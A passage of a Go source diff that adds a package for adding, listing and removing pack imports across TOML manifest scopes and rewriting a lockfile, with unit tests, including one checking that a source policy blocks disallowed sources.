+	}
+	if err := deps.writeLockfile()(fs, cityPath, lock); err != nil {
+		return nil, fmt.Errorf("%w: %w", ErrInstallFailed, err)
+	}
+	return &AddResult{
+		Name:      name,
+		Source:    source,
+		Version:   version,
+		GitBacked: gitBacked,
+	}, nil
+}
+
+// RemoveImport deletes the binding name from its owning scope (rig, root pack,
+// city.toml root override, or root default-rig) and rewrites packs.lock to the
+// remaining graph. When a root name is defined by both pack.toml and a city.toml
+// [imports] override, the city override owns the effective (listed) binding, so
+// remove peels the city override first and leaves the pack.toml entry declared;
+// a second remove then deletes it. It returns ErrNotFound when no scope owns
+// name.
+func RemoveImport(fs fsys.FS, cityPath, name string) (*RemoveResult, error) {
+	return RemoveImportWith(fs, cityPath, name, Deps{})
+}
+
+// RemoveImportWith is RemoveImport with injectable seams and rig scope.
+func RemoveImportWith(fs fsys.FS, cityPath, name string, deps Deps) (*RemoveResult, error) {
+	scope, err := loadImportScope(fs, cityPath, deps.Rig)
+	if err != nil {
+		return nil, fmt.Errorf("%w: %w", ErrScopeLoad, err)
+	}
+
+	target, err := resolveRemoval(fs, cityPath, name, scope)
+	if err != nil {
+		return nil, err
+	}
+
+	allImports, err := CollectAllImports(fs, cityPath)
+	if err != nil {
+		return nil, fmt.Errorf("%w: %w", ErrInstallFailed, err)
+	}
+	if target.packRemnant != nil {
+		// The pack.toml binding survives the peel and is effective again;
+		// CollectAllImports still layered the not-yet-saved city override on top,
+		// so re-point the merged graph to the pack binding.
+		allImports[scope.syntheticKey(name)] = *target.packRemnant
+	} else {
+		// Drop exactly the removed binding's graph key. Keying off removedKey (not
+		// an unconditional "default-rig:"+name delete) stops a bare root-import
+		// removal from silently dropping a same-named default-rig binding.
+		delete(allImports, target.removedKey)
+	}
+	lock, err := deps.syncLock()(cityPath, allImports, packman.InstallResolveIfNeeded)
+	if err != nil {
+		return nil, fmt.Errorf("%w: %w", ErrInstallFailed, err)
+	}
+	if err := scope.save(); err != nil {
+		return nil, fmt.Errorf("%w: %w", ErrInstallFailed, err)
+	}
+	if err := deps.writeLockfile()(fs, cityPath, lock); err != nil {
+		return nil, fmt.Errorf("%w: %w", ErrInstallFailed, err)
+	}
+	return &RemoveResult{Name: name}, nil
+}
+
+// removalTarget records what RemoveImportWith resolved to delete. Exactly one
+// field is set: removedKey is the CollectAllImports synthetic key to drop (it
+// depends on which scope owned the removal, not on the requested name — a bare
+// name can resolve to a "default-rig:<name>" binding); packRemnant is set
+// instead when a city.toml root override is peeled off a same-named pack.toml
+// import, so the surviving pack binding is re-pointed rather than dropped.
+type removalTarget struct {
+	removedKey  string
+	packRemnant *config.Import
+}
+
+// resolveRemoval finds the scope that owns name, mutates that scope's in-memory
+// state and save closure, and reports the graph effect. It isolates the
+// scope-precedence branching (rig / root-pack / city-override / default-rig)
+// from RemoveImportWith's collect→sync→save→write flow.
+func resolveRemoval(fs fsys.FS, cityPath, name string, scope *importScopeState) (removalTarget, error) {
+	if _, exists := scope.imports[name]; exists {
+		return resolveScopedRemoval(fs, cityPath, name, scope)
+	}
+	return resolveFallbackRemoval(fs, cityPath, name, scope)
+}
+
+// resolveScopedRemoval handles a name that lives directly in the loaded scope: a
+// rig scope, a plain root-pack binding, or a root-pack binding shadowed by a
+// city.toml [imports] override that must be peeled first.
+func resolveScopedRemoval(fs fsys.FS, cityPath, name string, scope *importScopeState) (removalTarget, error) {
+	if !scope.isRootPackScope() {
+		delete(scope.imports, name)
+		return removalTarget{removedKey: scope.syntheticKey(name)}, nil
+	}
+	cityOwned, err := cityRootImportExists(fs, cityPath, name)
+	if err != nil {
+		return removalTarget{}, fmt.Errorf("%w: %w", ErrScopeLoad, err)
+	}
+	if !cityOwned {
+		delete(scope.imports, name)
+		return removalTarget{removedKey: scope.syntheticKey(name)}, nil
+	}
+	// city.toml [imports] owns the effective binding ListImports surfaces, so
+	// removing the listed name peels the city override (removeCityRootImport
+	// redirects the save to city.toml) and leaves the shadowed pack.toml entry
+	// declared. A follow-up remove of the same name then deletes the pack entry.
+	// Without this, GET listed a binding DELETE could never remove.
+	removed, err := removeCityRootImport(fs, cityPath, scope, name)
+	if err != nil {
+		return removalTarget{}, fmt.Errorf("%w: %w", ErrScopeLoad, err)
+	}
+	if !removed {
+		return removalTarget{}, fmt.Errorf("%w: import %q not found", ErrNotFound, name)
+	}
+	remnant := scope.imports[name]
+	return removalTarget{packRemnant: &remnant}, nil
+}
+
+// resolveFallbackRemoval handles a name absent from the loaded scope by trying
+// the city.toml root [imports] overrides first, then the root default-rig
+// imports, returning ErrNotFound when no scope owns it.
+func resolveFallbackRemoval(fs fsys.FS, cityPath, name string, scope *importScopeState) (removalTarget, error) {
+	removed, err := removeCityRootImport(fs, cityPath, scope, name)
+	if err != nil {
+		return removalTarget{}, fmt.Errorf("%w: %w", ErrScopeLoad, err)
+	}
+	if removed {
+		// A city-only root override lives under the root pack synthetic key.
+		return removalTarget{removedKey: scope.syntheticKey(name)}, nil
+	}
+	removed, err = removeRootDefaultRigImport(fs, cityPath, scope, name)
+	if err != nil {
+		return removalTarget{}, fmt.Errorf("%w: %w", ErrScopeLoad, err)
+	}
+	if !removed {
+		return removalTarget{}, fmt.Errorf("%w: import %q not found", ErrNotFound, name)
+	}
+	// The default-rig binding is keyed by its bare name in the graph, whether the
+	// caller passed "default-rig:<name>" or just "<name>".
+	return removalTarget{removedKey: "default-rig:" + strings.TrimPrefix(name, "default-rig:")}, nil
+}
+
+// ListImports returns the direct, removable import bindings a client can list,
+// add, and remove over one namespace. For the root scope that is the root
+// pack.toml [imports] table, the city.toml root [imports] overrides layered on
+// top, and root default-rig imports surfaced as "default-rig:<binding>" — the
+// exact names DELETE accepts. It is deliberately NOT the transitive
+// CollectAllImports closure, whose synthetic keys and resolved dependencies are
+// not individually removable.
+func ListImports(fs fsys.FS, cityPath string) (map[string]config.Import, error) {
+	return ListImportsWith(fs, cityPath, Deps{})
+}
+
+// ListImportsWith is ListImports with an injectable rig scope. For the root
+// pack scope it returns the full inspectable namespace that AddImport and
+// RemoveImport treat as in scope: the root pack.toml [imports] table, the
+// city.toml root [imports] overrides layered on top (city entries own the
+// effective root import, so AddImport rejects and RemoveImport redirects to
+// them), and root default-rig imports keyed "default-rig:<binding>" (removable
+// by that name). This mirrors the CLI's collectInspectableImports so GET,
+// POST, and DELETE all agree on one namespace. For a rig scope it returns that
+// rig's [rigs.imports] table.
+func ListImportsWith(fs fsys.FS, cityPath string, deps Deps) (map[string]config.Import, error) {
+	scope, err := loadImportScope(fs, cityPath, deps.Rig)
+	if err != nil {
+		return nil, fmt.Errorf("%w: %w", ErrScopeLoad, err)
+	}
+	imports := copyImports(scope.imports)
+	if !scope.isRootPackScope() {
+		return imports, nil
+	}
+	if err := applyCityRootImportOverrides(fs, cityPath, imports); err != nil {
+		return nil, fmt.Errorf("%w: %w", ErrScopeLoad, err)
+	}
+	defaults, err := config.LoadRootPackDefaultRigImports(fs, cityPath)
+	if err != nil {
+		return nil, fmt.Errorf("%w: %w", ErrScopeLoad, err)
+	}
+	for _, bound := range defaults {
+		key := "default-rig:" + bound.Binding
+		if _, exists := imports[key]; exists {
+			return nil, fmt.Errorf("%w: import %q conflicts with reserved default-rig inspection key", ErrScopeLoad, key)
+		}
+		imports[key] = bound.Import
+	}
+	return imports, nil
+}
+
+// removeCityRootImport removes a root import owned by city.toml [imports].
+// City-only root imports are visible in list/why output, so remove must be able
+// to delete them; they live in city.toml, so the save is redirected there.
+func removeCityRootImport(fs fsys.FS, cityPath string, scope *importScopeState, name string) (bool, error) {
+	if !scope.isRootPackScope() {
+		return false, nil
+	}
+	if _, err := fs.Stat(filepath.Join(cityPath, "city.toml")); err != nil {
+		if os.IsNotExist(err) {
+			return false, nil
+		}
+		return false, err
+	}
+	cfg, err := loadCityImportManifest(fs, cityPath)
+	if err != nil {
+		return false, err
+	}
+	if _, ok := cfg.Imports[name]; !ok {
+		return false, nil
+	}
+	delete(cfg.Imports, name)
+	scope.save = func() error {
+		return writeCityImportManifest(fs, cityPath, cfg)
+	}
+	return true, nil
+}
+
+func removeRootDefaultRigImport(fs fsys.FS, cityPath string, scope *importScopeState, name string) (bool, error) {
+	if !scope.isRootPackScope() {
+		return false, nil
+	}
+	defaultName := strings.TrimPrefix(name, "default-rig:")
+	cfg, err := loadCityImportManifest(fs, cityPath)
+	if err != nil {
+		return false, err
+	}
+	if _, ok := cfg.Defaults.Rig.Imports[defaultName]; !ok {
+		manifest, err := loadCityPackManifest(fs, cityPath)
+		if err != nil {
+			return false, err
+		}
+		if _, ok := manifest.Defaults.Rig.Imports[defaultName]; !ok {
+			return false, nil
+		}
+		delete(manifest.Defaults.Rig.Imports, defaultName)
+		scope.save = func() error {
+			return writeCityPackManifest(fs, cityPath, manifest)
+		}
+		return true, nil
+	}
+	delete(cfg.Defaults.Rig.Imports, defaultName)
+	scope.save = func() error {
+		return writeCityImportManifest(fs, cityPath, cfg)
+	}
+	return true, nil
+}
diff --git a/internal/importsvc/importsvc_test.go b/internal/importsvc/importsvc_test.go
new file mode 100644
index 0000000000..a3d809a30b
--- /dev/null
+++ b/internal/importsvc/importsvc_test.go
@@ -0,0 +1,565 @@
+package importsvc
+
+import (
+	"errors"
+	"os"
+	"path/filepath"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/fsys"
+	"github.com/gastownhall/gascity/internal/packman"
+)
+
+func writeFile(t *testing.T, path, content string) {
+	t.Helper()
+	if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
+		t.Fatalf("WriteFile(%s): %v", path, err)
+	}
+}
+
+// stubDeps returns a Deps whose lock sync records the imports it was handed and
+// returns a fixed lockfile, so add/remove can exercise the real manifest writes
+// without touching the network or git.
+func stubDeps(t *testing.T, captured *map[string]config.Import) Deps {
+	t.Helper()
+	return Deps{
+		ResolveVersion: func(_, _, _ string) (packman.ResolvedVersion, error) {
+			return packman.ResolvedVersion{Version: "1.4.2", Commit: "abc123"}, nil
+		},
+		DefaultConstraint: func(_ string) (string, error) { return "^1.4", nil },
+		SyncLock: func(_ string, imports map[string]config.Import, _ packman.InstallMode) (*packman.Lockfile, error) {
+			if captured != nil {
+				*captured = imports
+			}
+			return &packman.Lockfile{
+				Schema: packman.LockfileSchema,
+				Packs: map[string]packman.LockedPack{
+					"https://github.com/example/tools.git": {Version: "1.4.2", Commit: "abc123"},
+				},
+			}, nil
+		},
+	}
+}
+
+func TestAddImportHappyPathWritesManifestAndResult(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), "[workspace]\nname = \"demo\"\n")
+
+	res, err := AddImportWith(
+		fsys.OSFS{}, dir,
+		"https://github.com/example/tools.git", "", "",
+		stubDeps(t, nil),
+	)
+	if err != nil {
+		t.Fatalf("AddImportWith: %v", err)
+	}
+	if res.Name != "tools" {
+		t.Fatalf("Name = %q, want tools", res.Name)
+	}
+	if res.Source != "https://github.com/example/tools.git" {
+		t.Fatalf("Source = %q", res.Source)
+	}
+	if res.Version != "^1.4" {
+		t.Fatalf("Version = %q, want ^1.4", res.Version)
+	}
+	if !res.GitBacked {
+		t.Fatal("GitBacked = false, want true for a remote source")
+	}
+
+	cfg, err := config.Load(fsys.OSFS{}, filepath.Join(dir, "pack.toml"))
+	if err != nil {
+		t.Fatalf("Load(pack.toml): %v", err)
+	}
+	imp, ok := cfg.Imports["tools"]
+	if !ok {
+		t.Fatalf("imports = %#v, want tools", cfg.Imports)
+	}
+	if imp.Version != "^1.4" {
+		t.Fatalf("imports.tools.version = %q, want ^1.4", imp.Version)
+	}
+	lock, err := packman.ReadLockfile(fsys.OSFS{}, dir)
+	if err != nil {
+		t.Fatalf("ReadLockfile: %v", err)
+	}
+	if _, ok := lock.Packs["https://github.com/example/tools.git"]; !ok {
+		t.Fatalf("lock = %#v, want tools entry", lock.Packs)
+	}
+}
+
+func TestAddImportAlreadyExistsReturnsTypedError(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), "[workspace]\nname = \"demo\"\n")
+	writeFile(t, filepath.Join(dir, "pack.toml"), `[pack]
+name = "demo"
+schema = 1
+
+[imports.tools]
+source = "https://github.com/example/tools.git"
+version = "^1.4"
+`)
+
+	deps := Deps{
+		SyncLock: func(_ string, _ map[string]config.Import, _ packman.InstallMode) (*packman.Lockfile, error) {
+			t.Fatal("SyncLock must not run when the import already exists")
+			return nil, nil
+		},
+	}
+	_, err := AddImportWith(fsys.OSFS{}, dir, "https://github.com/example/tools.git", "", "^1.4", deps)
+	if err == nil {
+		t.Fatal("AddImportWith = nil error, want ErrImportExists")
+	}
+	if !errors.Is(err, ErrImportExists) {
+		t.Fatalf("err = %v, want ErrImportExists", err)
+	}
+}
+
+func TestAddImportBadSourceReturnsInvalidSource(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), "[workspace]\nname = \"demo\"\n")
+
+	deps := Deps{
+		SyncLock: func(_ string, _ map[string]config.Import, _ packman.InstallMode) (*packman.Lockfile, error) {
+			t.Fatal("SyncLock must not run for an invalid source")
+			return nil, nil
+		},
+	}
+	// A local path with no pack.toml is not a valid pack target.
+	_, err := AddImportWith(fsys.OSFS{}, dir, "./packs/missing", "", "", deps)
+	if err == nil {
+		t.Fatal("AddImportWith = nil error, want ErrInvalidSource")
+	}
+	if !errors.Is(err, ErrInvalidSource) {
+		t.Fatalf("err = %v, want ErrInvalidSource", err)
+	}
+}
+
+func TestAddImportVersionOnPathSourceReturnsInvalidSource(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), "[workspace]\nname = \"demo\"\n")
+	localPack := filepath.Join(dir, "packs", "local")
+	if err := os.MkdirAll(localPack, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	writeFile(t, filepath.Join(localPack, "pack.toml"), "[pack]\nname = \"local\"\nschema = 1\n")
+
+	_, err := AddImportWith(fsys.OSFS{}, dir, "./packs/local", "", "^1.2", Deps{})
+	if err == nil {
+		t.Fatal("AddImportWith = nil error, want ErrInvalidSource for version on path import")
+	}
+	if !errors.Is(err, ErrInvalidSource) {
+		t.Fatalf("err = %v, want ErrInvalidSource", err)
+	}
+}
+
+func TestAddImportReservedPrefixReturnsReservedPrefixError(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), "[workspace]\nname = \"demo\"\n")
+
+	_, err := AddImportWith(fsys.OSFS{}, dir, "https://example.com/worker.git", "default-rig:worker", "^1.0", Deps{})
+	if err == nil {
+		t.Fatal("AddImportWith = nil error, want ErrReservedPrefix")
+	}
+	if !errors.Is(err, ErrReservedPrefix) {
+		t.Fatalf("err = %v, want ErrReservedPrefix", err)
+	}
+}
+
+func TestAddImportEmptyDerivedNameReturnsNameDeriveError(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), "[workspace]\nname = \"demo\"\n")
+
+	// A bare "https://" trailing-slash source derives to an empty name.
+	_, err := AddImportWith(fsys.OSFS{}, dir, "https://", "", "", Deps{
+		SyncLock: func(_ string, _ map[string]config.Import, _ packman.InstallMode) (*packman.Lockfile, error) {
+			t.Fatal("SyncLock must not run when the name cannot be derived")
+			return nil, nil
+		},
+	})
+	if err == nil {
+		t.Fatal("AddImportWith = nil error, want ErrNameDerive")
+	}
+	if !errors.Is(err, ErrNameDerive) {
+		t.Fatalf("err = %v, want ErrNameDerive", err)
+	}
+}
+
+func TestListImportsReturnsDirectRemovableBindings(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), "[workspace]\nname = \"demo\"\n")
+	writeFile(t, filepath.Join(dir, "pack.toml"), `[pack]
+name = "demo"
+schema = 1
+
+[imports.tools]
+source = "https://github.com/example/tools.git"
+version = "^1.4"
+
+[imports.local]
+source = "../packs/local"
+`)
+
+	imports, err := ListImports(fsys.OSFS{}, dir)
+	if err != nil {
+		t.Fatalf("ListImports: %v", err)
+	}
+	if len(imports) != 2 {
+		t.Fatalf("len(imports) = %d, want 2: %#v", len(imports), imports)
+	}
+	if got := imports["tools"]; got.Source != "https://github.com/example/tools.git" || got.Version != "^1.4" {
+		t.Fatalf("tools = %#v", got)
+	}
+	if got := imports["local"]; got.Source != "../packs/local" {
+		t.Fatalf("local = %#v", got)
+	}
+	// The returned map must be a copy: mutating it must not affect a re-read.
+	delete(imports, "tools")
+	again, err := ListImports(fsys.OSFS{}, dir)
+	if err != nil {
+		t.Fatalf("ListImports (re-read): %v", err)
+	}
+	if _, ok := again["tools"]; !ok {
+		t.Fatal("ListImports returned an aliased map; mutation leaked back")
+	}
+}
+
+func TestListImportsEmptyPackHasNoBindings(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), "[workspace]\nname = \"demo\"\n")
+	writeFile(t, filepath.Join(dir, "pack.toml"), "[pack]\nname = \"demo\"\nschema = 1\n")
+
+	imports, err := ListImports(fsys.OSFS{}, dir)
+	if err != nil {
+		t.Fatalf("ListImports: %v", err)
+	}
+	if len(imports) != 0 {
+		t.Fatalf("len(imports) = %d, want 0: %#v", len(imports), imports)
+	}
+}
+
+func TestListImportsRoundTripsAddedBinding(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), "[workspace]\nname = \"demo\"\n")
+
+	if _, err := AddImportWith(
+		fsys.OSFS{}, dir,
+		"https://github.com/example/tools.git", "", "",
+		stubDeps(t, nil),
+	); err != nil {
+		t.Fatalf("AddImportWith: %v", err)
+	}
+
+	imports, err := ListImports(fsys.OSFS{}, dir)
+	if err != nil {
+		t.Fatalf("ListImports: %v", err)
+	}
+	if _, ok := imports["tools"]; !ok {
+		t.Fatalf("added binding not surfaced by ListImports: %#v", imports)
+	}
+}
+
+// ListImports must surface city.toml root [imports] (which RemoveImport can
+// delete and AddImport rejects) so the list namespace matches add/remove.
+func TestListImportsSurfacesCityRootImports(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), `[workspace]
+name = "demo"
+
+[imports.cityonly]
+source = "https://github.com/example/cityonly.git"
+version = "^3.0"
+
+[imports.tools]
+source = "https://github.com/example/city-tools.git"
+version = "^9.9"
+`)
+	writeFile(t, filepath.Join(dir, "pack.toml"), `[pack]
+name = "demo"
+schema = 1
+
+[imports.tools]
+source = "https://github.com/example/tools.git"
+version = "^1.4"
+`)
+
+	imports, err := ListImports(fsys.OSFS{}, dir)
+	if err != nil {
+		t.Fatalf("ListImports: %v", err)
+	}
+	// A city-only root import, invisible before this fix, is now listed.
+	if got, ok := imports["cityonly"]; !ok || got.Source != "https://github.com/example/cityonly.git" {
+		t.Fatalf("cityonly = %#v, ok=%v; want the city.toml root import surfaced", imports["cityonly"], ok)
+	}
+	// city.toml [imports] override wins over the same-named pack.toml entry, so
+	// the listed binding matches the effective (removable) one.
+	if got := imports["tools"]; got.Source != "https://github.com/example/city-tools.git" {
+		t.Fatalf("tools = %#v; want the city.toml override to win", got)
+	}
+}
+
+// ListImports must surface root default-rig imports keyed "default-rig:<name>",
+// the exact form DELETE /packs/{name} accepts to remove them.
+func TestListImportsSurfacesDefaultRigImports(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), `[workspace]
+name = "demo"
+
+[imports.tools]
+source = "https://github.com/example/tools.git"
+version = "^1.4"
+
+[defaults.rig.imports.shared]
+source = "https://github.com/example/shared.git"
+version = "^2.0"
+`)
+
+	imports, err := ListImports(fsys.OSFS{}, dir)
+	if err != nil {
+		t.Fatalf("ListImports: %v", err)
+	}
+	if _, ok := imports["tools"]; !ok {
+		t.Fatalf("root import missing: %#v", imports)
+	}
+	got, ok := imports["default-rig:shared"]
+	if !ok || got.Source != "https://github.com/example/shared.git" || got.Version != "^2.0" {
+		t.Fatalf("default-rig:shared = %#v, ok=%v; want the default-rig import surfaced", got, ok)
+	}
+}
+
+func TestRemoveImportFoundRewritesManifest(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), "[workspace]\nname = \"demo\"\n")
+	writeFile(t, filepath.Join(dir, "pack.toml"), `[pack]
+name = "demo"
+schema = 1
+
+[imports.tools]
+source = "https://github.com/example/tools.git"
+version = "^1.4"
+`)
+
+	var captured map[string]config.Import
+	deps := Deps{
+		SyncLock: func(_ string, imports map[string]config.Import, _ packman.InstallMode) (*packman.Lockfile, error) {
+			captured = imports
+			return &packman.Lockfile{Schema: packman.LockfileSchema, Packs: map[string]packman.LockedPack{}}, nil
+		},
+	}
+	res, err := RemoveImportWith(fsys.OSFS{}, dir, "tools", deps)
+	if err != nil {
+		t.Fatalf("RemoveImportWith: %v", err)
+	}
+	if res.Name != "tools" {
+		t.Fatalf("Name = %q, want tools", res.Name)
+	}
+	if _, ok := captured["pack:tools"]; ok {
+		t.Fatalf("synced imports still contain removed import: %#v", captured)
+	}
+	cfg, err := config.Load(fsys.OSFS{}, filepath.Join(dir, "pack.toml"))
+	if err != nil {
+		t.Fatalf("Load(pack.toml): %v", err)
+	}
+	if _, ok := cfg.Imports["tools"]; ok {
+		t.Fatal("imports.tools still present after remove")
+	}
+}
+
+func TestRemoveImportNotFoundReturnsTypedError(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), "[workspace]\nname = \"demo\"\n")
+	writeFile(t, filepath.Join(dir, "pack.toml"), "[pack]\nname = \"demo\"\nschema = 1\n")
+
+	deps := Deps{
+		SyncLock: func(_ string, _ map[string]config.Import, _ packman.InstallMode) (*packman.Lockfile, error) {
+			t.Fatal("SyncLock must not run when the import is absent")
+			return nil, nil
+		},
+	}
+	_, err := RemoveImportWith(fsys.OSFS{}, dir, "ghost", deps)
+	if err == nil {
+		t.Fatal("RemoveImportWith = nil error, want ErrNotFound")
+	}
+	if !errors.Is(err, ErrNotFound) {
+		t.Fatalf("err = %v, want ErrNotFound", err)
+	}
+}
+
+func TestAddImportDefaultExportsUsePackmanSeams(t *testing.T) {
+	// The exported AddImport (no Deps) must wire the package-default seams.
+	// Stub the package vars so the happy path runs without the network.
+	prevResolve := resolveVersion
+	prevConstraint := defaultConstraint
+	prevSync := syncLock
+	prevWrite := writeLockfile
+	t.Cleanup(func() {
+		resolveVersion = prevResolve
+		defaultConstraint = prevConstraint
+		syncLock = prevSync
+		writeLockfile = prevWrite
+	})
+	resolveVersion = func(_, _, _ string) (packman.ResolvedVersion, error) {
+		return packman.ResolvedVersion{Version: "1.4.2", Commit: "abc123"}, nil
+	}
+	defaultConstraint = func(_ string) (string, error) { return "^1.4", nil }
+	syncLock = func(_ string, _ map[string]config.Import, _ packman.InstallMode) (*packman.Lockfile, error) {
+		return &packman.Lockfile{Schema: packman.LockfileSchema, Packs: map[string]packman.LockedPack{}}, nil
+	}
+	writeLockfile = func(_ fsys.FS, _ string, _ *packman.Lockfile) error { return nil }
+
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), "[workspace]\nname = \"demo\"\n")
+
+	res, err := AddImport(fsys.OSFS{}, dir, "https://github.com/example/tools.git", "", "")
+	if err != nil {
+		t.Fatalf("AddImport: %v", err)
+	}
+	if res.Name != "tools" || res.Version != "^1.4" {
+		t.Fatalf("res = %#v, want tools/^1.4", res)
+	}
+}
+
+// TestAddImportWithSourcePolicyFencesDirectSource is the regression for the
+// transitive-import SSRF fix at the service boundary: a SourcePolicy must fence
+// the resolved source before the HEAD probe or lock sync runs, so the injected
+// HTTP fence governs the direct git seam (and, via SyncLockWithPolicy, the
+// transitive one) rather than only the handler's pre-check.
+func TestAddImportWithSourcePolicyFencesDirectSource(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), "[workspace]\nname = \"demo\"\n")
+
+	sentinel := errors.New("blocked by source policy")
+	deps := Deps{
+		SourcePolicy: func(string) error { return sentinel },
+		ResolveHeadCommit: func(string, string) (string, error) {
+			t.Fatal("HEAD probe must not run when the source policy blocks")
+			return "", nil
+		},
+		ResolveVersion: func(string, string, string) (packman.ResolvedVersion, error) {
+			t.Fatal("version resolve must not run when the source policy blocks")
+			return packman.ResolvedVersion{}, nil
+		},
+		SyncLock: func(_ string, _ map[string]config.Import, _ packman.InstallMode) (*packman.Lockfile, error) {
+			t.Fatal("SyncLock must not run when the source policy blocks")
+			return nil, nil
+		},
+	}
+	_, err := AddImportWith(fsys.OSFS{}, dir, "https://github.com/example/tools.git", "", "", deps)
+	if !errors.Is(err, sentinel) {
+		t.Fatalf("AddImportWith err = %v, want the source-policy sentinel", err)
+	}
+}
+
+// TestRemoveImportPeelsCityOverrideShadowingPack is the regression for the
+// GET/DELETE namespace mismatch: when a root name is defined by BOTH pack.toml
+// and a city.toml [imports] override, ListImports surfaces the city override as
+// the effective binding, so remove must peel that override (not reject it 409).
+// The shadowed pack.toml entry stays declared and becomes effective again, and
+// lock sync re-points to it rather than dropping the name.
+func TestRemoveImportPeelsCityOverrideShadowingPack(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), `[workspace]
+name = "demo"
+
+[imports.tools]
+source = "https://github.com/example/city-tools.git"
+version = "^9.9"
+`)
+	writeFile(t, filepath.Join(dir, "pack.toml"), `[pack]
+name = "demo"
+schema = 1
+
+[imports.tools]
+source = "https://github.com/example/pack-tools.git"
+version = "^1.0"
+`)
+
+	// GET surfaces the city override as the effective binding.
+	before, err := ListImports(fsys.OSFS{}, dir)
+	if err != nil {
+		t.Fatalf("ListImports (before): %v", err)
+	}
+	if got := before["tools"]; got.Source != "https://github.com/example/city-tools.git" {
+		t.Fatalf("listed tools before remove = %#v; want the city override", got)
+	}
+
+	var captured map[string]config.Import
+	deps := Deps{
+		SyncLock: func(_ string, imports map[string]config.Import, _ packman.InstallMode) (*packman.Lockfile, error) {
+			captured = imports
+			return &packman.Lockfile{Schema: packman.LockfileSchema, Packs: map[string]packman.LockedPack{}}, nil
+		},
+	}
+	// The listed binding must be removable, not a 409.
+	res, err := RemoveImportWith(fsys.OSFS{}, dir, "tools", deps)
+	if err != nil {
+		t.Fatalf("RemoveImportWith(tools) = %v, want peel of the city override", err)
+	}
+	if res.Name != "tools" {
+		t.Fatalf("Name = %q, want tools", res.Name)
+	}
+
+	// The pack.toml entry survives the peel and is effective again...
+	cfg, err := config.Load(fsys.OSFS{}, filepath.Join(dir, "pack.toml"))
+	if err != nil {
+		t.Fatalf("Load(pack.toml): %v", err)
+	}
+	if got, ok := cfg.Imports["tools"]; !ok || got.Source != "https://github.com/example/pack-tools.git" {
+		t.Fatalf("pack.toml tools after peel = %#v ok=%v; want the pack entry preserved", got, ok)
+	}
+	// ...and the city override is gone, so a re-list shows the pack binding.
+	after, err := ListImports(fsys.OSFS{}, dir)
+	if err != nil {
+		t.Fatalf("ListImports (after): %v", err)
+	}
+	if got := after["tools"]; got.Source != "https://github.com/example/pack-tools.git" {
+		t.Fatalf("listed tools after remove = %#v; want the pack binding now effective", got)
+	}
+	// Lock sync must keep tools re-pointed to the pack value, not drop it.
+	synced, ok := captured["pack:tools"]
+	if !ok || synced.Source != "https://github.com/example/pack-tools.git" {
+		t.Fatalf("synced pack:tools = %#v ok=%v; want the pack binding preserved in the lock graph", synced, ok)
+	}
+}
+
+// TestRemoveRootImportKeepsSameNamedDefaultRig is the regression for the
+// lock-sync deletion bug: removing a bare root import named "shared" must NOT
+// also drop a same-named "default-rig:shared" binding from the synced graph.
+func TestRemoveRootImportKeepsSameNamedDefaultRig(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, filepath.Join(dir, "city.toml"), `[workspace]
+name = "demo"
+
+[defaults.rig.imports.shared]
+source = "https://github.com/example/dr-shared.git"
+version = "^2.0"
+`)
+	writeFile(t, filepath.Join(dir, "pack.toml"), `[pack]
+name = "demo"
+schema = 1
+
+[imports.shared]
+source = "https://github.com/example/root-shared.git"
+version = "^1.0"
+`)
+
+	var captured map[string]config.Import
+	deps := Deps{
+		SyncLock: func(_ string, imports map[string]config.Import, _ packman.InstallMode) (*packman.Lockfile, error) {
+			captured = imports
+			return &packman.Lockfile{Schema: packman.LockfileSchema, Packs: map[string]packman.LockedPack{}}, nil
+		},
+	}
+	if _, err := RemoveImportWith(fsys.OSFS{}, dir, "shared", deps); err != nil {
+		t.Fatalf("RemoveImportWith(shared): %v", err)
+	}
+
+	// The removed root import is dropped from the graph...
+	if _, ok := captured["pack:shared"]; ok {
+		t.Fatalf("synced graph still contains removed root import: %#v", captured)
+	}
+	// ...but the same-named default-rig binding must survive.
+	dr, ok := captured["default-rig:shared"]
+	if !ok || dr.Source != "https://github.com/example/dr-shared.git" {
+		t.Fatalf("default-rig:shared = %#v ok=%v; a same-named default-rig import was dropped", dr, ok)
+	}
+}
diff --git a/internal/importsvc/manifest.go b/internal/importsvc/manifest.go
new file mode 100644
index 0000000000..395da47b11
--- /dev/null
+++ b/internal/importsvc/manifest.go
@@ -0,0 +1,467 @@
+// Package importsvc holds the shared orchestration for adding and removing
+// pack imports. It is the single code path behind both the `gc import add` /
+// `gc import remove` CLI commands and the supervisor HTTP handlers, so it
+// operates on an injected [fsys.FS] plus a city path and carries no cobra,
+// io.Writer, or working-directory coupling. Callers map the typed errors it
+// returns to whatever surface they speak (exit codes or HTTP status).
+//
+// KNOWN DUPLICATION (follow-up to converge): the manifest/scope helpers below
+// — loadCityPackManifest, writeCityPackManifest, loadImportScope,
+// CollectAllImports and their support funcs — were lifted verbatim from the
+// unimportable package-main copies in cmd/gc (cmd_import.go still keeps
